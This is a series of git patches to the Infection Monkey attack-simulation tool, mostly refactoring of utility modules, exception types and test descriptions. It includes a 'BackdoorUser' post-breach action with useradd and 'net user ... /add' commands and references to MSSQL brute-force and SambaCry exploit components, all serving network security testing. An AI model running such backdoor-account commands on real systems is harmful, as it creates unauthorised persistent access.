    - + { this.props.events.map((event, index) => { const event_time = new Date(event.timestamp['$date']).toString(); @@ -22,7 +22,6 @@ export default class EventsTimeline extends Component { key={index} createdAt={event_time} title={event.title} - icon={icon}> {event.message} ) From 994b6ed63dc3a686747bffa547f94dc336ceaf40 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 11 Sep 2019 17:23:28 +0300 Subject: [PATCH 257/276] Improved exception throwing --- monkey/infection_monkey/exploit/mssqlexec.py | 2 +- monkey/infection_monkey/exploit/tools/http_tools.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index c08aec28d..db503c717 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -185,7 +185,7 @@ class MSSQLExploiter(HostExploiter): LOG.warning('No user/password combo was able to connect to host: {0}:{1}, ' 'aborting brute force'.format(host, port)) - raise Exception("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) + raise RuntimeError("Bruteforce process failed on host: {0}".format(self.host.ip_addr)) class MSSQLLimitedSizePayload(LimitedSizePayload): diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index 0de47b155..19b45b043 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -85,6 +85,6 @@ class MonkeyHTTPServer(HTTPTools): def stop(self): if not self.http_path or not self.http_thread: - raise Exception("Can't stop http server that wasn't started!") + raise RuntimeError("Can't stop http server that wasn't started!") self.http_thread.join(DOWNLOAD_TIMEOUT) self.http_thread.stop() From 4b44fad1cd729428fd94631718eb9ebfc20b75b0 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 12:27:50 +0300 Subject: [PATCH 258/276] Fixed typos and grammer errors --- monkey/common/data/zero_trust_consts.py | 6 +++--- monkey/infection_monkey/monkey_utils/windows/new_user.py | 4 ++-- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py index 3362756d9..4add05d04 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/data/zero_trust_consts.py @@ -139,16 +139,16 @@ TESTS_MAP = { TEST_TUNNELING: { TEST_EXPLANATION_KEY: u"The Monkey tried to tunnel traffic using other monkeys.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "Monkey was tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them." + STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them." }, PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES, PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED] }, TEST_COMMUNICATE_AS_NEW_USER: { - TEST_EXPLANATION_KEY: u"The Monkey tried create a new user and communicate with the internet from it.", + TEST_EXPLANATION_KEY: u"The Monkey tried to create a new user and communicate with the internet from it.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "Monkey was able to cause a new user to access the network. Your network policies are too permissive - restrict them to MAC only.", + STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - restrict them to MAC only.", STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network." }, PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES, diff --git a/monkey/infection_monkey/monkey_utils/windows/new_user.py b/monkey/infection_monkey/monkey_utils/windows/new_user.py index fbe4bd832..87d2da3b8 100644 --- a/monkey/infection_monkey/monkey_utils/windows/new_user.py +++ b/monkey/infection_monkey/monkey_utils/windows/new_user.py @@ -15,8 +15,8 @@ class NewUser(object): """ RAII object to use for creating and using a new user in Windows. Use with `with`. User will be created when the instance is instantiated. - User will log on start of `with` scope. - User will log off and get deleted on end of `with` scope. + User will log on at the start of the `with` scope. + User will log off and get deleted at the end of said `with` scope. Example: # Created # Logged on From edc2d49307332ccd4c4bf65c63f478d00be8fb85 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 13:00:42 +0300 Subject: [PATCH 259/276] Broke monkey_utils to utils/ and moved sambacry_runner to exploit. This commit is 100% refactoring without any new code, just deleted unused utils. --- deployment_scripts/config.ps1 | 2 +- deployment_scripts/deploy_linux.sh | 2 +- monkey/infection_monkey/exploit/mssqlexec.py | 2 +- .../sambacry_monkey_runner/build.sh | 0 .../sambacry_monkey_runner/sc_monkey_runner.c | 0 .../sambacry_monkey_runner/sc_monkey_runner.h | 0 monkey/infection_monkey/main.py | 6 +- monkey/infection_monkey/monkey.py | 11 ++-- monkey/infection_monkey/network/tools.py | 2 +- .../actions/communicate_as_new_user.py | 4 +- .../post_breach/actions/users_custom_pba.py | 4 +- monkey/infection_monkey/post_breach/pba.py | 2 +- .../post_breach/post_breach_handler.py | 2 +- monkey/infection_monkey/readme.txt | 2 +- monkey/infection_monkey/utils.py | 62 ------------------- .../{monkey_utils => utils}/__init__.py | 0 monkey/infection_monkey/utils/environment.py | 18 ++++++ monkey/infection_monkey/utils/monkey_dir.py | 29 +++++++++ .../infection_monkey/utils/monkey_log_path.py | 14 +++++ .../windows/__init__.py | 0 .../windows/new_user.py | 0 monkey/infection_monkey/windows_upgrader.py | 2 +- 22 files changed, 82 insertions(+), 82 deletions(-) rename monkey/infection_monkey/{monkey_utils => exploit}/sambacry_monkey_runner/build.sh (100%) rename monkey/infection_monkey/{monkey_utils => exploit}/sambacry_monkey_runner/sc_monkey_runner.c (100%) rename monkey/infection_monkey/{monkey_utils => exploit}/sambacry_monkey_runner/sc_monkey_runner.h (100%) delete mode 100644 monkey/infection_monkey/utils.py rename monkey/infection_monkey/{monkey_utils => utils}/__init__.py (100%) create mode 100644 monkey/infection_monkey/utils/environment.py create mode 100644 monkey/infection_monkey/utils/monkey_dir.py create mode 100644 monkey/infection_monkey/utils/monkey_log_path.py rename monkey/infection_monkey/{monkey_utils => utils}/windows/__init__.py (100%) rename monkey/infection_monkey/{monkey_utils => utils}/windows/new_user.py (100%) diff --git a/deployment_scripts/config.ps1 b/deployment_scripts/config.ps1 index 24a8d3322..07be64612 100644 --- a/deployment_scripts/config.ps1 +++ b/deployment_scripts/config.ps1 @@ -22,7 +22,7 @@ $SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so" # Other directories and paths ( most likely you dont need to configure) $MONKEY_ISLAND_DIR = "\monkey\monkey_island" $MONKEY_DIR = "\monkey\infection_monkey" -$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\monkey_utils\sambacry_monkey_runner" +$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\exploit\sambacry_monkey_runner" $PYTHON_DLL = "C:\Windows\System32\python27.dll" $MK32_DLL = "mk32.dll" $MK64_DLL = "mk64.dll" diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh index 5ce29ac59..4df8ba114 100644 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -129,7 +129,7 @@ python -m pip install --user -r requirements_linux.txt || handle_error # Build samba log_message "Building samba binaries" sudo apt-get install gcc-multilib -cd ${monkey_home}/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner +cd ${monkey_home}/monkey/infection_monkey/exploit/sambacry_monkey_runner sudo chmod +x ./build.sh || handle_error ./build.sh diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index e4eaf3151..0115dfbf5 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -11,7 +11,7 @@ from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, get_target_monkey, \ build_monkey_commandline, get_monkey_depth from infection_monkey.model import DROPPER_ARG -from infection_monkey.utils import get_monkey_dir_path +from infection_monkey.utils.monkey_dir import get_monkey_dir_path LOG = logging.getLogger(__name__) diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh b/monkey/infection_monkey/exploit/sambacry_monkey_runner/build.sh similarity index 100% rename from monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/build.sh rename to monkey/infection_monkey/exploit/sambacry_monkey_runner/build.sh diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c b/monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.c similarity index 100% rename from monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c rename to monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.c diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h b/monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.h similarity index 100% rename from monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h rename to monkey/infection_monkey/exploit/sambacry_monkey_runner/sc_monkey_runner.h diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index 3b51c1be2..c20a84190 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -8,7 +8,7 @@ import os import sys import traceback -import infection_monkey.utils as utils +from infection_monkey.utils.monkey_log_path import get_dropper_log_path, get_monkey_log_path from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE from infection_monkey.dropper import MonkeyDrops from infection_monkey.model import MONKEY_ARG, DROPPER_ARG @@ -79,10 +79,10 @@ def main(): try: if MONKEY_ARG == monkey_mode: - log_path = utils.get_monkey_log_path() + log_path = get_monkey_log_path() monkey_cls = InfectionMonkey elif DROPPER_ARG == monkey_mode: - log_path = utils.get_dropper_log_path() + log_path = get_dropper_log_path() monkey_cls = MonkeyDrops else: return True diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 3cd20d9c2..b97e08dfd 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -7,7 +7,8 @@ import time from six.moves import xrange import infection_monkey.tunnel as tunnel -import infection_monkey.utils as utils +from infection_monkey.utils.monkey_dir import create_monkey_dir, get_monkey_dir_path, remove_monkey_dir +from infection_monkey.utils.monkey_log_path import get_monkey_log_path from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient from infection_monkey.model import DELAY_DELETE_CMD @@ -90,7 +91,7 @@ class InfectionMonkey(object): self.set_default_port() # Create a dir for monkey files if there isn't one - utils.create_monkey_dir() + create_monkey_dir() if WindowsUpgrader.should_upgrade(): self._upgrading_to_64 = True @@ -244,8 +245,8 @@ class InfectionMonkey(object): @staticmethod def self_delete(): - status = ScanStatus.USED if utils.remove_monkey_dir() else ScanStatus.SCANNED - T1107Telem(status, utils.get_monkey_dir_path()).send() + status = ScanStatus.USED if remove_monkey_dir() else ScanStatus.SCANNED + T1107Telem(status, get_monkey_dir_path()).send() if WormConfiguration.self_delete_in_cleanup \ and -1 == sys.executable.find('python'): @@ -269,7 +270,7 @@ class InfectionMonkey(object): T1107Telem(status, sys.executable).send() def send_log(self): - monkey_log_path = utils.get_monkey_log_path() + monkey_log_path = get_monkey_log_path() if os.path.exists(monkey_log_path): with open(monkey_log_path, 'r') as f: log = f.read() diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 3a9adef57..5e448002c 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -10,7 +10,7 @@ import re from six.moves import range from infection_monkey.pyinstaller_utils import get_binary_file_path -from infection_monkey.utils import is_64bit_python +from infection_monkey.utils.environment import is_64bit_python DEFAULT_TIMEOUT = 10 BANNER_READ = 1024 diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 75acf6fe0..49c2404de 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -6,11 +6,11 @@ import subprocess import time from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER -from infection_monkey.monkey_utils.windows.new_user import NewUser, NewUserError +from infection_monkey.utils.windows.new_user import NewUser, NewUserError from infection_monkey.post_breach.actions.add_user import BackdoorUser from infection_monkey.post_breach.pba import PBA from infection_monkey.telemetry.post_breach_telem import PostBreachTelem -from infection_monkey.utils import is_windows_os +from infection_monkey.utils.environment import is_windows_os PING_TEST_DOMAIN = "google.com" diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index 468a2b29b..89417757d 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -2,11 +2,11 @@ import os import logging from common.data.post_breach_consts import POST_BREACH_FILE_EXECUTION -from infection_monkey.utils import is_windows_os +from infection_monkey.utils.environment import is_windows_os from infection_monkey.post_breach.pba import PBA from infection_monkey.control import ControlClient from infection_monkey.config import WormConfiguration -from infection_monkey.utils import get_monkey_dir_path +from infection_monkey.utils.monkey_dir import get_monkey_dir_path from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from common.utils.attack_utils import ScanStatus from infection_monkey.exploit.tools.helpers import get_interface_to_target diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index fc074b563..22201ab7f 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -3,7 +3,7 @@ import subprocess from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.post_breach_telem import PostBreachTelem -from infection_monkey.utils import is_windows_os +from infection_monkey.utils.environment import is_windows_os from infection_monkey.config import WormConfiguration from infection_monkey.telemetry.attack.t1064_telem import T1064Telem diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index c68422d4c..b5dfa93c7 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -3,7 +3,7 @@ import inspect import importlib from infection_monkey.post_breach.pba import PBA from infection_monkey.post_breach.actions import get_pba_files -from infection_monkey.utils import is_windows_os +from infection_monkey.utils.environment import is_windows_os LOG = logging.getLogger(__name__) diff --git a/monkey/infection_monkey/readme.txt b/monkey/infection_monkey/readme.txt index 0b56da2f7..06bf449da 100644 --- a/monkey/infection_monkey/readme.txt +++ b/monkey/infection_monkey/readme.txt @@ -62,7 +62,7 @@ a. Build sambacry binaries yourself a.1. Install gcc-multilib if it's not installed sudo apt-get install gcc-multilib a.2. Build the binaries - cd [code location]/infection_monkey/monkey_utils/sambacry_monkey_runner + cd [code location]/infection_monkey/exploit/sambacry_monkey_runner ./build.sh b. Download our pre-built sambacry binaries diff --git a/monkey/infection_monkey/utils.py b/monkey/infection_monkey/utils.py deleted file mode 100644 index f8b5cc56a..000000000 --- a/monkey/infection_monkey/utils.py +++ /dev/null @@ -1,62 +0,0 @@ -import os -import shutil -import struct -import sys -import tempfile - -from infection_monkey.config import WormConfiguration - - -def get_monkey_log_path(): - return os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" \ - else WormConfiguration.monkey_log_path_linux - - -def get_dropper_log_path(): - return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \ - else WormConfiguration.dropper_log_path_linux - - -def is_64bit_windows_os(): - """ - Checks for 64 bit Windows OS using environment variables. - """ - return 'PROGRAMFILES(X86)' in os.environ - - -def is_64bit_python(): - return struct.calcsize("P") == 8 - - -def is_windows_os(): - return sys.platform.startswith("win") - - -def utf_to_ascii(string): - # Converts utf string to ascii. Safe to use even if string is already ascii. - udata = string.decode("utf-8") - return udata.encode("ascii", "ignore") - - -def create_monkey_dir(): - """ - Creates directory for monkey and related files - """ - if not os.path.exists(get_monkey_dir_path()): - os.mkdir(get_monkey_dir_path()) - - -def remove_monkey_dir(): - """ - Removes monkey's root directory - :return True if removed without errors and False otherwise - """ - try: - shutil.rmtree(get_monkey_dir_path()) - return True - except Exception: - return False - - -def get_monkey_dir_path(): - return os.path.join(tempfile.gettempdir(), WormConfiguration.monkey_dir_name) diff --git a/monkey/infection_monkey/monkey_utils/__init__.py b/monkey/infection_monkey/utils/__init__.py similarity index 100% rename from monkey/infection_monkey/monkey_utils/__init__.py rename to monkey/infection_monkey/utils/__init__.py diff --git a/monkey/infection_monkey/utils/environment.py b/monkey/infection_monkey/utils/environment.py new file mode 100644 index 000000000..40a70ce58 --- /dev/null +++ b/monkey/infection_monkey/utils/environment.py @@ -0,0 +1,18 @@ +import os +import struct +import sys + + +def is_64bit_windows_os(): + """ + Checks for 64 bit Windows OS using environment variables. + """ + return 'PROGRAMFILES(X86)' in os.environ + + +def is_64bit_python(): + return struct.calcsize("P") == 8 + + +def is_windows_os(): + return sys.platform.startswith("win") diff --git a/monkey/infection_monkey/utils/monkey_dir.py b/monkey/infection_monkey/utils/monkey_dir.py new file mode 100644 index 000000000..bb69dae5b --- /dev/null +++ b/monkey/infection_monkey/utils/monkey_dir.py @@ -0,0 +1,29 @@ +import os +import shutil +import tempfile + +from infection_monkey.config import WormConfiguration + + +def create_monkey_dir(): + """ + Creates directory for monkey and related files + """ + if not os.path.exists(get_monkey_dir_path()): + os.mkdir(get_monkey_dir_path()) + + +def remove_monkey_dir(): + """ + Removes monkey's root directory + :return True if removed without errors and False otherwise + """ + try: + shutil.rmtree(get_monkey_dir_path()) + return True + except Exception: + return False + + +def get_monkey_dir_path(): + return os.path.join(tempfile.gettempdir(), WormConfiguration.monkey_dir_name) diff --git a/monkey/infection_monkey/utils/monkey_log_path.py b/monkey/infection_monkey/utils/monkey_log_path.py new file mode 100644 index 000000000..ad80bc73d --- /dev/null +++ b/monkey/infection_monkey/utils/monkey_log_path.py @@ -0,0 +1,14 @@ +import os +import sys + +from infection_monkey.config import WormConfiguration + + +def get_monkey_log_path(): + return os.path.expandvars(WormConfiguration.monkey_log_path_windows) if sys.platform == "win32" \ + else WormConfiguration.monkey_log_path_linux + + +def get_dropper_log_path(): + return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \ + else WormConfiguration.dropper_log_path_linux diff --git a/monkey/infection_monkey/monkey_utils/windows/__init__.py b/monkey/infection_monkey/utils/windows/__init__.py similarity index 100% rename from monkey/infection_monkey/monkey_utils/windows/__init__.py rename to monkey/infection_monkey/utils/windows/__init__.py diff --git a/monkey/infection_monkey/monkey_utils/windows/new_user.py b/monkey/infection_monkey/utils/windows/new_user.py similarity index 100% rename from monkey/infection_monkey/monkey_utils/windows/new_user.py rename to monkey/infection_monkey/utils/windows/new_user.py diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py index 4a165940d..af904b143 100644 --- a/monkey/infection_monkey/windows_upgrader.py +++ b/monkey/infection_monkey/windows_upgrader.py @@ -10,7 +10,7 @@ from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly from infection_monkey.model import MONKEY_CMDLINE_WINDOWS -from infection_monkey.utils import is_windows_os, is_64bit_windows_os, is_64bit_python +from infection_monkey.utils.environment import is_windows_os, is_64bit_windows_os, is_64bit_python __author__ = 'itay.mizeretz' From 889c8a23787a971d3d6fbf6944393ec6c820cdc3 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 13:53:33 +0300 Subject: [PATCH 260/276] Moved user add+delete commands into `utils/users` --- .../post_breach/actions/add_user.py | 53 ++----------------- .../actions/communicate_as_new_user.py | 10 ++-- .../infection_monkey/utils/linux/__init__.py | 0 monkey/infection_monkey/utils/linux/users.py | 21 ++++++++ monkey/infection_monkey/utils/users.py | 10 ++++ .../windows/{new_user.py => auto_new_user.py} | 8 +-- .../infection_monkey/utils/windows/users.py | 18 +++++++ 7 files changed, 62 insertions(+), 58 deletions(-) create mode 100644 monkey/infection_monkey/utils/linux/__init__.py create mode 100644 monkey/infection_monkey/utils/linux/users.py create mode 100644 monkey/infection_monkey/utils/users.py rename monkey/infection_monkey/utils/windows/{new_user.py => auto_new_user.py} (89%) create mode 100644 monkey/infection_monkey/utils/windows/users.py diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py index 9bb8cfcba..09c8d4796 100644 --- a/monkey/infection_monkey/post_breach/actions/add_user.py +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -1,61 +1,16 @@ -import datetime - from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER from infection_monkey.post_breach.pba import PBA from infection_monkey.config import WormConfiguration +from infection_monkey.utils.users import get_commands_to_add_user class BackdoorUser(PBA): def __init__(self): - linux_cmds, windows_cmds = BackdoorUser.get_commands_to_add_user( - WormConfiguration.user_to_add, WormConfiguration.remote_user_pass) + linux_cmds, windows_cmds = get_commands_to_add_user( + WormConfiguration.user_to_add, + WormConfiguration.remote_user_pass) super(BackdoorUser, self).__init__( POST_BREACH_BACKDOOR_USER, linux_cmd=' '.join(linux_cmds), windows_cmd=windows_cmds) - @staticmethod - def get_commands_to_add_user(username, password): - linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username) - windows_cmds = BackdoorUser.get_windows_commands_to_add_user(username, password) - return linux_cmds, windows_cmds - - @staticmethod - def get_linux_commands_to_add_user(username): - return [ - 'useradd', - '-M', # Do not create homedir - '--expiredate', - datetime.datetime.today().strftime('%Y-%m-%d'), - '--inactive', - '0', - '-c', # Comment - 'MONKEY_USER', # Comment - username] - - @staticmethod - def get_linux_commands_to_delete_user(username): - return [ - 'deluser', - username - ] - - @staticmethod - def get_windows_commands_to_add_user(username, password, should_be_active=False): - windows_cmds = [ - 'net', - 'user', - username, - password, - '/add'] - if not should_be_active: - windows_cmds.append('/ACTIVE:NO') - return windows_cmds - - @staticmethod - def get_windows_commands_to_delete_user(username): - return [ - 'net', - 'user', - username, - '/delete'] diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 49c2404de..725bf3bda 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -5,12 +5,12 @@ import string import subprocess import time +from infection_monkey.utils.windows.auto_new_user import AutoNewUser, NewUserError from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER -from infection_monkey.utils.windows.new_user import NewUser, NewUserError -from infection_monkey.post_breach.actions.add_user import BackdoorUser from infection_monkey.post_breach.pba import PBA from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils.environment import is_windows_os +from infection_monkey.utils.linux.users import get_linux_commands_to_delete_user, get_linux_commands_to_add_user PING_TEST_DOMAIN = "google.com" @@ -44,7 +44,7 @@ class CommunicateAsNewUser(PBA): def communicate_as_new_user_linux(self, username): try: # add user + ping - linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username) + linux_cmds = get_linux_commands_to_add_user(username) commandline = "ping -c 1 {}".format(PING_TEST_DOMAIN) linux_cmds.extend([";", "sudo", "-u", username, commandline]) final_command = ' '.join(linux_cmds) @@ -52,7 +52,7 @@ class CommunicateAsNewUser(PBA): self.send_ping_result_telemetry(exit_status, commandline, username) # delete the user, async in case it gets stuck. _ = subprocess.Popen( - BackdoorUser.get_linux_commands_to_delete_user(username), stderr=subprocess.STDOUT, shell=True) + get_linux_commands_to_delete_user(username), stderr=subprocess.STDOUT, shell=True) # Leaking the process on purpose - nothing we can do if it's stuck. except subprocess.CalledProcessError as e: PostBreachTelem(self, (e.output, False)).send() @@ -64,7 +64,7 @@ class CommunicateAsNewUser(PBA): import win32api try: - with NewUser(username, PASSWORD) as new_user: + with AutoNewUser(username, PASSWORD) as new_user: # Using os.path is OK, as this is on windows for sure ping_app_path = os.path.join(os.environ["WINDIR"], "system32", "PING.exe") if not os.path.exists(ping_app_path): diff --git a/monkey/infection_monkey/utils/linux/__init__.py b/monkey/infection_monkey/utils/linux/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/infection_monkey/utils/linux/users.py b/monkey/infection_monkey/utils/linux/users.py new file mode 100644 index 000000000..1acc87d72 --- /dev/null +++ b/monkey/infection_monkey/utils/linux/users.py @@ -0,0 +1,21 @@ +import datetime + + +def get_linux_commands_to_add_user(username): + return [ + 'useradd', + '-M', # Do not create homedir + '--expiredate', + datetime.datetime.today().strftime('%Y-%m-%d'), + '--inactive', + '0', + '-c', # Comment + 'MONKEY_USER', # Comment + username] + + +def get_linux_commands_to_delete_user(username): + return [ + 'deluser', + username + ] diff --git a/monkey/infection_monkey/utils/users.py b/monkey/infection_monkey/utils/users.py new file mode 100644 index 000000000..68148d9e9 --- /dev/null +++ b/monkey/infection_monkey/utils/users.py @@ -0,0 +1,10 @@ +from infection_monkey.utils.linux.users import get_linux_commands_to_add_user +from infection_monkey.utils.windows.users import get_windows_commands_to_add_user + + +def get_commands_to_add_user(username, password): + linux_cmds = get_linux_commands_to_add_user(username) + windows_cmds = get_windows_commands_to_add_user(username, password) + return linux_cmds, windows_cmds + + diff --git a/monkey/infection_monkey/utils/windows/new_user.py b/monkey/infection_monkey/utils/windows/auto_new_user.py similarity index 89% rename from monkey/infection_monkey/utils/windows/new_user.py rename to monkey/infection_monkey/utils/windows/auto_new_user.py index 87d2da3b8..5cf840ad1 100644 --- a/monkey/infection_monkey/utils/windows/new_user.py +++ b/monkey/infection_monkey/utils/windows/auto_new_user.py @@ -2,7 +2,7 @@ import logging import subprocess from infection_monkey.post_breach.actions.add_user import BackdoorUser - +from infection_monkey.utils.windows.users import get_windows_commands_to_delete_user logger = logging.getLogger(__name__) @@ -11,7 +11,7 @@ class NewUserError(Exception): pass -class NewUser(object): +class AutoNewUser(object): """ RAII object to use for creating and using a new user in Windows. Use with `with`. User will be created when the instance is instantiated. @@ -20,7 +20,7 @@ class NewUser(object): Example: # Created # Logged on - with NewUser("user", "pass") as new_user: + with AutoNewUser("user", "pass") as new_user: ... ... # Logged off and deleted @@ -64,6 +64,6 @@ class NewUser(object): # Try to delete user try: _ = subprocess.Popen( - BackdoorUser.get_windows_commands_to_delete_user(self.username), stderr=subprocess.STDOUT, shell=True) + get_windows_commands_to_delete_user(self.username), stderr=subprocess.STDOUT, shell=True) except Exception as err: raise NewUserError("Can't delete user {}. Info: {}".format(self.username, err)) diff --git a/monkey/infection_monkey/utils/windows/users.py b/monkey/infection_monkey/utils/windows/users.py new file mode 100644 index 000000000..0e6847cff --- /dev/null +++ b/monkey/infection_monkey/utils/windows/users.py @@ -0,0 +1,18 @@ +def get_windows_commands_to_add_user(username, password, should_be_active=False): + windows_cmds = [ + 'net', + 'user', + username, + password, + '/add'] + if not should_be_active: + windows_cmds.append('/ACTIVE:NO') + return windows_cmds + + +def get_windows_commands_to_delete_user(username): + return [ + 'net', + 'user', + username, + '/delete'] From 77269fb3ce68a488ec2d64c9f713b807c8fe54ce Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 14:06:21 +0300 Subject: [PATCH 261/276] Extracted user name creation to separate function --- .../post_breach/actions/communicate_as_new_user.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 725bf3bda..165173ced 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -35,12 +35,16 @@ class CommunicateAsNewUser(PBA): super(CommunicateAsNewUser, self).__init__(name=POST_BREACH_COMMUNICATE_AS_NEW_USER) def run(self): - username = USERNAME + ''.join(random.choice(string.ascii_lowercase) for _ in range(5)) + username = self.get_random_new_user_name() if is_windows_os(): self.communicate_as_new_user_windows(username) else: self.communicate_as_new_user_linux(username) + @staticmethod + def get_random_new_user_name(): + return USERNAME + "_" + ''.join(random.choice(string.ascii_lowercase) for _ in range(5)) + def communicate_as_new_user_linux(self, username): try: # add user + ping From b8f48d354278e78f02e02e2e3a13502afbefb0cc Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 16 Sep 2019 14:45:39 +0300 Subject: [PATCH 262/276] Unpacking struct from winapi --- .../post_breach/actions/communicate_as_new_user.py | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 165173ced..770e96b7d 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -79,7 +79,7 @@ class CommunicateAsNewUser(PBA): # Open process as that user: # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera commandline = "{} {} {} {}".format(ping_app_path, PING_TEST_DOMAIN, "-n", "1") - process_info = win32process.CreateProcessAsUser( + process_handle, thread_handle, _, _ = win32process.CreateProcessAsUser( new_user.get_logon_handle(), # A handle to the primary token that represents a user. None, # The name of the module to be executed. commandline, # The command line to be executed. @@ -95,18 +95,20 @@ class 